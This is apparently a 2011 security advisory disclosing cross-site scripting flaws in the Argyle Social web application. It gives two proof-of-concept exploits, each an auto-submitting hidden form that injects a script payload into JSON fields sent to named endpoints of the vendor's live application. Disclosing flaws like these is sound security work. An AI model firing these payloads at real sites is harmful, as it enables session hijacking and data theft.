Vulnerability ID: HTB22979 Reference: http://www.htbridge.ch/advisory/multiple_xss_cross_site_scripting_vulnerabilities_in_argyle_social.html Product: Argyle Social Vendor: Argyle Social ( http://argylesocial.com/ ) Vulnerable Version: Current at 26/04/2011 Vendor Notification: 28 April 2011 Vulnerability Type: XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities exists due to failure in the "settings-ajax/stream_filter_rules/create", "publish-ajax/efforts/create" scripts to properly sanitize user-supplied input in "terms", "title" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: 1. <form action="http://app.argylesocial.com/settings-ajax/stream_filter_rules/create" method="post" name="main"> <input type="hidden" name="stream_filter_rule" value='{"name":"rulename","id":"","flags":["flagged"],"networks":null,"user_id":"0","terms":"XSS\"><script>alert(document.cookie)</script>"}'> </form> <script> document.main.submit(); </script> 2. <form action="http://app.argylesocial.com/publish-ajax/efforts/create" method="post" name="main"> <input type="hidden" name="effort" value='{"effort_id":"","title":"ptitle2\"><script>alert(document.cookie)</script>","url":"http://www.google.com","short":null,"campaigns":[],"primary_campaign":null,"flights":[{"glass_id":"post0","flight_id":null,"mdk":false,"source":"web interface","content_type":"twitter-status","content":{"content":"hello"},"stime":"4/30/2011 23:10:00","networks":[{"id":"1","name":"My Name","type":"twitter","url":"","avatar":"http://a2.twimg.com/profile_images/1124040897/at-twitter_reasonably_small.png"}],"waparams":{"pname":null}}]}'> </form> <script> document.main.submit(); </script>